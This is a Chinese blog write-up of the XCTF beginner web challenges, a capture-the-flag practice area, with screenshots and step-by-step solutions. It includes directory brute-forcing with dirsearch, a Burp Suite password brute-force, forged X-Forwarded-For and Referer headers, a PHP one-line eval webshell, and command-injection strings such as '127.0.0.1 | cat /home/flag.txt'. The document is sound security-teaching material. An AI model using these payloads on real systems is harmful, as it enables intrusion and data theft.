### XCTF攻防世界\_Web练习区

## 原创

FAFU小宋 ● 于 2020-10-30 18:02:22 发布 ● 218 ◆ 收藏 3
 分类专栏: XCTF 文章标签: 安全
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/FAFUxiaosong/article/details/109387420
 版权



XCTF 专栏收录该内容

9篇文章 0 订阅 订阅专栏

#### XCTF\_Web\_新手练习区

view\_source

get\_post

robots

backup

cookie

disabled\_button

weak\_auth

simple\_php

xff\_referer

webshell

command\_execution

simple\_js



这里右键无法查看网页源代码,可通过f12键或者在url地址前加上"view-source:"查看网页源代码找到flag。



get\_post



HTTP常用的请求方法: get, post。

(1) 直接把请求参数拼接在URL后面,以? 间隔URL和参数,若有多个参数,则以&间隔参数

http://220.249.52.133:55274/? a=1

# 请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量

(2) post: 提交post请求用插件hackbar。首先置入URL,选择POST Data,输入post请求,然后执行。

Execution	🗹 Post Data 🔳 Referrer	· Reverse 🗩 🖌
Post data	b=2	

# 请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量 cyberpeace{92893fe1efce54de81340e64e9d15138}

#### robots

- (1) 在URL后加上/robots.txt并访问,发现f1ag\_1s\_h3re.php
- (2)访问http://111.198.29.45:33982/f1ag\_1s\_h3re.php得到flag

$\leftrightarrow$ $\rightarrow$	G	۵	i 111.198.29.45:33982/f1ag_1s_h3re.php	

### cyberpeace{a1e53c2f03ac568e2c66bff957a50328}

(3) 也可使用扫目录脚本dirsearch(https://github.com/maurosoria/dirsearch)

python dirsearch.py -u http://10.10.10.175:32793/ -e \*

m 选择C:\Windows\System32\cmd.exe	_		$\times$
Microsoft Windows [版本 10.0.18362.1139] (c) 2019 Microsoft Corporation。保留所有权利。			^
D:\安全工具\Web工具配置\目录爆破\dirsearch-master>python dirsearch.py -u http://220.249.52.133:33172	2/ -e *		
22:04:361       403 - 2988      htaccess.orig         [22:04:36]       403 - 2988      htaccessOLD         [22:04:36]       403 - 2988      htaccess.bak1         [22:04:36]       403 - 2988      htaccess.sample         [22:04:36]       403 - 2988      htaccess.sample         [22:04:36]       403 - 2988      htaccess.sample         [22:04:36]       403 - 2988      htarccess.save         [22:04:36]       403 - 2988      html         [22:04:36]       403 - 2988      html         [22:04:36]       403 - 2888      html         [22:04:36]       403 - 2888      html         [22:04:37]       403 - 2888      html         [22:04:37]       403 - 2888      php         [22:04:37]       403 - 2888      php3         [22:04:37]       403 - 2898      php3         [22:04:58]       200 - 1768       - index.php/login/         [22:05:07]       403 - 2978       - server-status         [22:05:07]       403 - 2988       - server-status/			
D:\安全工具\Web工具配置\目录爆破\dirsearch-master>	csdn.net/FA	FUxiao	song

#### #使用dirsear需要在Python3环境下

#robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下 是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围,如果该文件不存在,所有的搜索蜘蛛将 能够访问网站上所有没有被口令保护的页面。

#### backup

#### 你知道index.php的备份文 件名吗?

(1)常见的备份文件后缀名有: ".gif"、".svn"、".swp"、"~"、".bak"、".bash\_history"、".bkf"(共7种)
 根据提示index.php文件进行备份,逐个尝试构造备份链接。找到.bak的备份文件

Q 220.249.52.133:55301/index.php.bak

正在打开 index.php.bak	$\times$
您选择了打开:	
📄 index.php.bak	
文件类型: bak File (500 字节)	
来源: http://220.249.52.133:55301	
<ul> <li>您想要 Firefox 如何处理此文件?</li> <li>○ 打开,通过(<u>O</u>) 浏览(<u>B</u>)</li> <li>● 保存文件(<u>S</u>)</li> </ul>	
□以后自动采用相同的动作处理此类文件。(A)	
https://blog.dsd4449/FA,RU/44039	AIC]

(2)下载备份文件直接打开就能够找到flag。

(3) 也可以使用目录扫描工具dirsearch扫出index.php.bak文件,然后构造链接即可。

C:\Windows\System32\cmd.exe	-	×
D:\安全工具\\eb工具配置\目录爆破\dirsearch-master>python dirsearch.py -u http://220.249.52.133:49484/ -	е *	^
Output File: D:\安全工具\₩eb工具配置\目录爆破\dirsearch-master\reports\220.249.52.133\_20-11-06_22-11-	24. txt	í
[22:11:29]       403 - 298B      htaccess.bakl         [22:11:29]       403 - 298B      htaccess.orig         [22:11:29]       403 - 298B      htaccess.sample         [22:11:29]       403 - 298B      htaccess.bakk         [22:11:29]       403 - 298B      htaccessBAK         [22:11:29]       403 - 297B      htaccessOLD2         [22:11:29]       403 - 288B      htm         [22:11:29]       403 - 288B      html         [22:11:29]       403 - 296B      html         [22:11:29]       403 - 288B      html         [22:11:29]       403 - 288B      html         [22:11:29]       403 - 296B      html         [22:11:29]       403 - 288B      php         [22:11:29]       403 - 288B      php         [22:11:30]       403 - 288B      php3         [22:11:30]       403 - 288B      php3         [22:11:56]       200 - 438B       - index.php.bak         [22:12:05]       403 - 297B       - server-status         [22:12:05]       403 - 298B       - server-status/		
lask Completer D:\安全工具\Web工具配置\目录爆破\dirsearch-master>		

#### cookie

解法一:

(1) 在Firefox浏览器按下F	12键打开	开发者工具	,刷新后,	在"存储	"一栏,可看到	名为lo	ok-here	的cool	vie的值	与cookie.php	
□ ○ 査看器 □ 控制台 □ 调试器	器 ↑↓ 网络	{} 样式编辑器	∩ 性能 ①	内存 📑 有	ア储 〒 无障碍环境	龖 应用	程序 🔒	Max Hack	(Bar 🕐 A	dBlock	
- E Cookie	♥ 项目过滤器	0440								+ C' 🖻	T
http://220.249.52.133:38910	名称	值	Domain	Path	Expires / Max-Age	大小	HttpOnly	Secure	SameSite	最后访问	-
▶ 🗄 会话存储	look-here	cookie.php	220.249.52.133	1	会话	19	false	false	None	Sun, 11 Oct 2020 13	-
▶ 🗄 Indexed DB											

(2)构造链接访问http://220.249.52.133:38910/cookie.php,提示查看http响应包,在"网络"一栏,可看到访问cookie.php的数据 包,在消息头内可发现flag

R	0 查看器	▷ 控制台 □ 认	周试器 🚺 网络 {}样式编辑器 介 性能 💠	①:内存 🖯 存储	<b>十</b> 无限	摩碍环境 🛛 🎆 应用積	宇	Max HacKBar 🚺 AdBlock
Ŵ	〒 过濾 URL					11	90	所有HTML CSS JS XHR 字体图像。媒体WS 其他
状态	方法	域名	文件	发起者	类型	传输	大小	回 消息头 Cookie 请求 响应 缓存 耗时
200	GET	🔏 220.249.52.13	cookie.php	document	html	已缓存	411字	▼ 过滤消息头
404	GET	🔏 220.249.52.13	favicon.ico	FaviconLoader.js	html	已缓存	291字	⑦ Content-Length: 253
								Content-Type: text/html
								② Date: Sun, 11 Oct 2020 13:25:25 GMT
								flag: cyberpeace{36899d58eb4468d955cc820bccb773d0}
								Keep-Alive: timeout=5, max=100     Keep-Ali

解法二:

(1)使用burpsuite工具扫描URL,然后查看response(响应),可看到名为look-here的cookie的值为cookie.php

Burp Suite Professional v2.0.11beta - Temporary Project - licensed to surferxyz By:LianZhang

Durp Project @ Date E Qate M H H BU								
────────────────────────────────────	冯器 对比器 插件扩展 项目选项 用户选项							
网站地图 范围 问题定义								
	4xx隐藏回复; 隐藏空文件夹							
http://220.249.52.133:38910	内容	问题						
Cookie.php	主机 方法 URL ▼ 参数 状态 长 I	🕕 Unencrypted						
	http://220.249.52.133:38 GET / 200 663 I							
	, , , , , , , , , , , , , , , , , , , ,							
		咨询						
	Raw 🔆 Hex HTML Render							
	HTTP/1.1 200 OK Date: Sun 11 Oct 2020 13:11:07 GMT	🛛 📕 📕						
	Server: Apache/2.4.7 (Ubuntu)							
	Set-Cookie: look-here=cookie.php	Issue: Un						
	Vary: Accept-Encoding	Confidence: Ce						
	Connection: close	Host: ht Path: /						
	<html></html>	Issue descripti						
	<meta charset="utf-8"/>	The application al						
	<tink href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet"></tink>	suitably positione						
	<style></style>							

#### (2)继续扫描构造的链接http://220.249.52.133:38910/cookie.php,查看response获取flag

仪表盘 目标 代理 测试器	重发器定序器	编码器	对比器	插件扩展	项目选项	用户选项					
网站地图 范围 问题定义											
过滤器: 隐藏不存在的项目; CSS, 图	片, 一般隐藏二进制]	文件; <b>4xx</b> 图	總藏回复; 🛛	隐藏空文件夹							
http://220.249.52.133:38910		内	容								
Cookie.php		E	主机		方法	URL	•	参数	状态	ĸ	
		h	ttp://220.24	49.52.133:38.	GET	/cookie.php			200	675	
											_
										,	
		(									



#### disabled\_button

(1)使用Firefox浏览器按F12键打开开发者工具,在查看器窗口审查元素,发现存在disabled=""字段,在按钮中使用了该属性,右键编辑HTML,将该字段删除。按钮可按,即可得到flag。

□ 查看器 ② 控制台 ○ 调试器 1↓ 网络 ()样式编辑器 ○ 性能 ① 内	字 🖯 存储	╈ 无障碍
Q, 搜索 HTML		+ 🖋
<li><li>k hret="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="st</li></li>	(lesheet">	~
▶ <style> m </style>		
		1
w <body></body>		
<h3>一个不能按的按钮</h3>		
<pre>cform action="" method="post"&gt;</pre>		
<pre><input <="" class="btn btn-default" disabled="" pre="" style="height:50px;width:200px;"/></pre>	type="submit"	
value="tiag" name="auth">		
		× 9
html > body > form > input.btn.btn-default https://blog.csdr		liaosong



#### cyberpeace{7b0946fe939e06393a323f8f542ed931}

(2)使用Firefox的hackbar,用post方式传递auth=flag,同样可以得到flag。

#### weak\_auth

(1)题目属于弱口令爆破,随便输入一个用户名和密码,提示要用admin用户登录,跳转到了check.php,在URL前加view-source:查看源代码,提示要用字典。

Login	
username	
password	
	login

reset. https://blog.csdn.net/FAFUxiaosong
please login as admin
确定
<pre>1 <!DOCTYPE html>     2 <html lang="en"> 3 <head> 4   <meta charset="utf-8"/> 5   <title>weak auth</title> 6 </head> 7 <body> 8</body></html></pre>
<pre></pre>

(2)在Firefox浏览器中"选项"->"网络设置"->"手动代理配置"开启foxproxy代理服务器,打开Burpsuite工具,点击代理—拦截请求,输入123密码再登录。

● 手动代理配置(M)		
HTTP 代理(X) 127.0.0.1	端口(P)	8080
也将此代理用于 FTP 和 HTTPS		
HTTPS Proxy	端口(O)	0
ETP 代理	端口( <u>R</u> )	0
仪表盘 │ 目标 │ 代理 ─ 测试器 │ 重发器 │ 定序器 │ 编码器 │ 对比器 │ 插件扩展 │ 项目选项 │ 用户选	项	
放包 废包 <b>拦截请求</b> 行动		
Raw Hex		
	~= =	
【	Ψ.F.	
截断 HTTP历史记录 WebSocket历史 选项		
✓ http://220.249.52.133:57928 请求		
放包 废包 拦截请求 行动		
Raw 参数 头 Hex	_	
POST /check.php HTTP/1.1		
Host: 220.249.52.133:57928 Llog: A gent: Matilla/5.0.0Aindown NT 10.0: Min64: x64: ru:81.0: Coolio/20100101 Firefox/81.0		
Accept: text/html.application/xhtml+xml.application/xml;q=0.9.image/webp.*/*;q=0.8		
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2		
Accept-Encoding: gzip, deflate		
Content-Type: application/x-www-form-urlencoded		
Content-Length: 27 Origin: http://200.249.52.1.33:57928		
Connection: close		
Referer: http://220.249.52.133:57928/		
Upgrade-Insecure-Requests: 1		
username=admin&password=123 https://blog.csdn.net/FAFUxiaoson		

#### (3) 设置爆破点:将123作为攻击对象,具体操作:测试器->位置->选中"123"->添加

仪表盘	目标	代理	测试器	重发器	定序器	编码器	对比器	插件扩展	项目选项
1 ×	2 ×								
目标	位置	有效载荷	选项						

攻击执整: 組由手 (Sniper)	•	
POST /check.pbp HTTP/1.1 Host: 220 249 52 133 57928		添加§
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html.application/xhtml+xml.application/xml;q=0.9 image/webp; /*;q=0.8		§清除
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate		自动§
Content-Type: application/x-www-form-urlencoded Content-Length: 27 Con		刷新
Connection: close Referer: http://220.249.52.133.57928/		
Upgrade-Insecure-Requests: 1		
username=admin&password+§123§		

#### (5)加载字典:点击有效载荷--载入-常用密码.txt。字典:

<https://github.com/rootphantomer/Blasting\_dictionary/blob/master/%E5%B8%B8%E7%94%A8%E5%AF%86%E7%A0%81.txt> 目标 位置 有效载荷 选项

?	有效载荷集				
	您可以定义一个到	或多个有效负载集。有效负载集	的数量取决于"位	置"选项卡中定乡	义的攻击类型。每个有效负载集可以使用各种有效负载类型,并且可以以各种方式定制每种有效负载类型
	有效负载集 <b>:</b> 有效载荷类型:	1 (简单清单 ▼	有效载荷数量: 请求数量:	7,501 7,501	
?	<mark>有效载荷选场</mark> 设置用于有效内线	[ <mark>简单列表]</mark> 容的简单字符串列表。			iunx_users_dictionaries.txt       top100password.txt       常用用户名.txt         NT密码.txt       top500姓名组合.txt       后台路径.txt         README.md       weblogic默认密码列表.txt       渗透字典.txt         renkoutop.txt       webshellPassword.txt       数据库地址.txt
I	粘贴       載入中       删除       清屏	ī»¿admin admin12 admin888 admin8 admin123 sysadmin adminxxx adminx			top10w.bxt       ★用金吨.bxt       只做老吨.bxt         文件名(N):
	添加	6kadmin 输入新项目		T	打开 取消 https://blog.csdn.nevr.AFDxiaosong

(6)开始攻击,查看响应包列表,发现密码为123456时,响应包的长度和别的不一样

过滤器:	显示所有项目						(
请求	▲ 有效載荷	状态	错误	超时	ĸ	评论	
23	000000	200			434		1
24	0000000	200			434		
25	111111	200			434		
6	1111111	200			434		
7	aaaaaa	200			434		
8	88888888	200			434		
9	135246	200			434		
0	135246789	200			434		
1	123456	200			437		
2	654321	200			434		
3	12345	200			434		
4	54321	200			434		
5	123456789	200			434		
6	1234567890	200			434		

#### (7) 点进去查看响应包,发现flag

			_	 	
6	1234567890	200		434	
5	123456789	200		434	

请求 响应	
Raw 🙏 Hex HTML Render	
<meta charset="utf-8"/>	A
<body></body>	
cyberpeace{0aab944ae268e2167270aacedd42fdeb}< 	
	*
(?) < + > 約入搜索字词	没有比赛
1273 of 7501	https://blog.csdn.nat/EAEUxiaosong
12/3 01/301	

simple\_php

(1)打开页面,进行代码审计,发现需要输入a,b变量,同时满足a==0 且a为真,b不是数字且b>1234才回返回flag,用get方法输入变量,在URL后加"/?"即可开始赋值,传输多个参数则以"&"间隔。

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
        echo $f1ag1;
}
if(is_numeric($b)){
        exit();
}
if($b>1234){
        echo $f1ag2;
}
?>
```

(2)输入a=0无法得到flag1,因为不满足第二个a为真的条件,所以可以把参数a构造为'0'或abc这种转换后为0,但本身也为真的形式,即str类型。

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
        echo $flag1;
}
if(is_numeric($b)){
        exit();
}
if($b>1234){
        echo $flag2;
}
?>
```

Cyberpeace{647E37C7627CC3E401

(3)数字和字符混合的字符串转换为整数后只保留数字,所以b可以构造为12345a,类型转换后为12345,大于1234,得到 flag。

```
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
        echo $f1ag1;
}
if(is_numeric($b)){
       exit();
}
if($b>1234){
        echo $f1ag2;
3
?>
Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}
```

#### xff\_referer

(1) 打开网页后,发现IP是123.123.123.123,使用Firefox浏览器,手动配置代理服务器
 (2) 打开Brup工具抓包,点击代理 (Proxy) —拦截请求,刷新原来页面

─────────────────────────────────────								
截斷 HTTP历史记录 WebSocket历史 选项								
✓ http://220.249.52.133:38757 请求								
放包 废包 拦截请求 行动								
Raw 🙏 Hex								
GET / HTTP/1.1								
Host: 220.249.52.133:38757								
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0								
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8								
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2								
Accept-Encoding: gzip, deflate								
Connection: close								
Upgrade-Insecure-Requests: 1 https://blog.csdn.pet/FAFU.yiaosong								
Cache-Control: max-age=0								

(3)右键选择发送到repeater。在repeater里查看目标地址内容,在Host下方添加:X-Forwarded-For: 123.123.123.123(这一步是伪造XFF,点击放包(Forward),收到提示)原来的页面变成了 https://www.google.com

必须来自https://www.google.com

#### (4) 在Repeater (重发器), Host下方添加:

X-Forwarded-For:123.123.123.123.123Referer:https://www.google.com (这一步是伪造Referer)点击发送,在响应中看到flag

发送 取消 <  ▼ >  ▼
请求
Raw 🔆 Hex
GET / HTTP/1.1
Host: 220.249.52.133:38757
K-Forwarded-For:123.123.123.123
Referer:https://www.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0 https://blog.csdn.net/FAFUxiaosong

响应	
-1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.	

Ra	w 🕺	Hex	HTML	Render				
HTTP/	1.1 200	ЭК				1		
Date:	Tue, 13	Oct 202	0 14:13:07	GMT		n		
Serve	Server: Apache/2.4.7 (Ubuntu)							
X-Pov	/ered-B	: PHP/5	.5.9-1 ubu	ntu4.26		L		
Vary:	Accept-	Encodir	g			L		
Conte	nt-Lengt	n: 631				L		
Conne	ction: cl	ose				L		
Conte	nt-Type:	text/htn	h			L		
						J.		
<html></html>						L		
<heac< td=""><td>&gt;</td><td></td><td></td><td></td><td></td><td>L</td></heac<>	>					L		
<me< td=""><td>ta char</td><td>et="UII</td><td>8&gt;</td><td></td><td></td><td>L</td></me<>	ta char	et="UII	8>			L		
<trti< td=""><td>e&gt;index</td><td></td><td>1</td><td></td><td>12.0 Olare the statement with a set list design at 11 to</td><td>L</td></trti<>	e>index		1		12.0 Olare the statement with a set list design at 11 to	L		
<lin< td=""><td>chref="l</td><td>nttp://libs</td><td>s.baidu.co</td><td>m/bootstrap</td><td>5/3.0.3/css/bootstrap.min.css" rel="stylesheet" /&gt;</td><td>L</td></lin<>	chref="l	nttp://libs	s.baidu.co	m/bootstrap	5/3.0.3/css/bootstrap.min.css" rel="stylesheet" />	L		
<st< td=""><td>/ie&gt;</td><td></td><td></td><td></td><td></td><td>L</td></st<>	/ie>					L		
	oay					L		
	margi	n-left:a	uto;			L		
	margi	n-right	auto;			L		
	margi	20 or mail	200PA;			L		
,	width	zuem;				L		
}	ulas					J.		
<td>yie&gt;</td> <td></td> <td></td> <td></td> <td></td> <td>L</td>	yie>					L		
shedu	~					J.		
<pre>sbouy</pre>	"demo">	in th bb	<b>达须</b> 当493	122 122 1	23-455	L		
-sp id=	tsdocu	nent a	etFlemer	tBuld("de	≤v>rp< mo") innerHTMI ="心须求自httne://www.google.com"\c/script>cscript>docume			
nt ae	Fleme	rtBydd/	'demo''\	innerHTMI	- cyberneace/4b422b4430500b6dc1a4b288c815211331 script=</</td <td></td>			
nage	LIGHIG	icoyid(	acino j.		- Band honor in its named in the name of the Link of the state of the			

#XFF漏洞攻击原理及防御方案: https://www.freebuf.com/company-information/220414.html

#### xff和referer:

#X-Forwarded-For: 简称xff头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP代理或者负载均衡服务器时 才会添加该项。xff是http的拓展头部,作用是Web服务器获取访问用户的IP真实地址(可伪造)。由于很多用户通过代理服务器 进行访问,服务器只能获取代理服务器的IP地址,而xff作用在于记录用户的真实IP,以及代理服务器的IP。格式为: X-Forwarded-For: 本机IP,代理1IP,代理2IP。

#HTTP Referer是header的一部分,当浏览器向Web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链 接过来的,服务器基于此可以获得一些有用的信息用于处理。Referer是http的拓展头部,作用是记录当前请求页面的来源页面的 地址。服务器使用Referer确认访问来源,如果Referer内容不符合要求,服务器可以拦截或者重定向请求。

#### webshell

(1)一句话木马,直接提示给了php一句话,使用菜刀类工具连接(Cknife或中国蚁剑),口令就是shell

#### 你会使用webshell吗?

<?php @eval(\$\_POST['shell']);?>

(2)这里使用中国蚁剑。右键->Add,输入URL和口令,选择类型,点击"Add"即可

Add shell				_ = ×
O Add X Cl	ear			
Shell url *	http://220.2	49.52.133:57013		
Shell pwd *	shell			
Encode	UTF8		*	
Shell type	PHP		•	
	Encoder			
	<ul> <li>default</li> </ul>			
	$\bigcirc$ chr			
	🔘 base64			

(3) 右键-->"FileManager"文件管理,即可发现flag.txt文件,打开获取flag

- Folders (0)		□ Files (2)							
e-	O N	O New → ↓ UP 2 Refresh # Home ■ Bookmark → /var/www/html/							
		Name		Time	Size	Attr			
	Ē	flag.txt		2020-10-14 11:30:57	44 b	0664			
	ŝ	index.php		2018-09-27 04:02:04	539 b	0664			

#### command\_execution

PING	
请输入需要ping的地址	
PING	

(1) 尝试输入127.0.0.1,发现可以访问成功

ping -c 3 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp\_seq=1 ttl=64 time=0.050 ms 64 bytes from 127.0.0.1: icmp\_seq=2 ttl=64 time=0.034 ms 64 bytes from 127.0.0.1: icmp\_seq=3 ttl=64 time=0.035 ms --- 127.0.0.1 ping statistics ---3 packets transmitted, 3 received, 0% packet loss, time 2001ms rtt min/avg/max/mdev = 0.034/0.039/0.059/0.010 ms/PAFUX/a0S0001

(2) 输入127.0.0.1 | ls (用&&也可以),看是否能够访问当前目录

ping -c 3 127.0.0.1 | ls index.php

(3)访问成功,再试试寻找.txt文件(或者直接寻找flag.txt文件也可),输入

127.0.0.1 | find / -name "\*.txt" 127.0.0.1 | find / -name "flag.txt" //寻找.txt文件 //寻找flag.txt文件

ping -c 3 127.0.0.1 | find / -name "flag.txt"
/home/flag.txt

(4) 访问成功后都可发现flag.txt文件,用127.0.0.1 | cat /home/flag.txt 即可查看到flag

ping -c 3 127.0.0.1 | cat /home/flag.txt
cyberpeace{9ca8da6d4963610593144de52a31fb25}

#命令拼接:管道符"|",其功能为将前一个命令的结果传递给后一个命令作为输入 &&:前一条命令执行成功时,才执行后一条命令

command1 | command2 command1 && command2 //只输出2的结果
// 成功才执行2

#### simple\_js

	Enter pas	sword	
	确定	取消	l
	P DAL	buis	

```
(1) 打开页面需要输入密码,查看网页源代码,可以发现is代码
<html>
<head>
    <title>JS</title>
    <soript type="text/javascript">
    function dechiffre(pass enc) {
       var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
       var tab = pass_enc.split(',');
              var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                     k = j + (1) + (n=0);
n = tab2.length;
                     for(i = (o=0); i < (k = j = n); i++ ){
                     o = tab[i-1];
                            if(i > 5 && i < k-1)
                                   p += String.fromCharCode((o = tab2[i]));
                     ٦
       p += String.fromCharCode(tab2[17]);
       pass = p;return pass;
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x26\x39\x2c\x
    h = window.prompt('Enter password');
    alert( dechiffre(h) );
```

(2) 进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 from CharCode

(3)发现该字符串中用到C语言的转义字符\x,每个\x后面的两位是一个16进制数,直接用C语言printf输出即可得到对应的ASCI码值。

```
#include <stdio.h>
#include <stdlib.h>
int main(){
    printf("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2
    printf("\n");
```

■ D:\新建文件夹\未命名1.exe 55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50

```
(4) 将得到的数字转为ASCI码值即可得到flag
    int a[]={55,56, 54,79,115,69,114,116,107,49,50};
    int i;
    for(i=0;i<sizeof(a)/sizeof(a[0]);i++){
        printf("%c",(char)a[i]);
     }
    return 0:</pre>
```

7860sErtk12